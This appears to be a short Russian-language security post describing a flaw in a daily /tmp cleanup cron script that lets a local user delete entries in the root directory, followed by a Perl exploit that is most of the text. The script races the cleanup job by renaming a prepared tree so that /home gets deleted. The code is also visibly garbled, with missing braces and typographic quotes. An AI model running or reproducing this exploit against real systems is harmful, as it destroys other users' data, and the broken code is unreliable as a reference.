Если разрешена функция /etc/periodic/daily/clean-tmps, то это дает возможность любому локальному пользователю использовать вызовы unlink() или rmdir() на root директории 

Эксплоит:

#!/usr/bin/perl5 -w
use strict;

# The thing in / that we want to unlink.
my $target = ‘home’;

###############

use Fatal qw(mkdir chdir open utime rename link);

chdir ‘/tmp’;
mkdir ‘x47’, 0755;
chdir ‘x47’;
mkdir ‘foo’, 0755;
oldfile($target);
chdir ‘foo’;
mkdir ‘bar’, 0755;
chdir ‘bar’;

mkdir ‘tree’, 0755;

chdir ‘tree’;
oldfile(‘trigger’);
mkdir ‘big’, 0755;

# build something that will take a while to tear down
chdir ‘big’;
for my $f (1..50)
{ oldfile($f);
for my $l (1..100)
{ link $f, «$f.$l»;
}
}
chdir ‘..’;

print «waiting for the cron job…\n»;
fork and exit;

while (-r ‘trigger’)

select undef, undef, undef, 0.1;
}

rename ‘/tmp/x47/foo/bar/tree’, ‘/tmp/x48’;

sub oldfile

my $file = shift;
open OUT, «>$file»;
utime 0, 0, $file;
}



Оставить мнение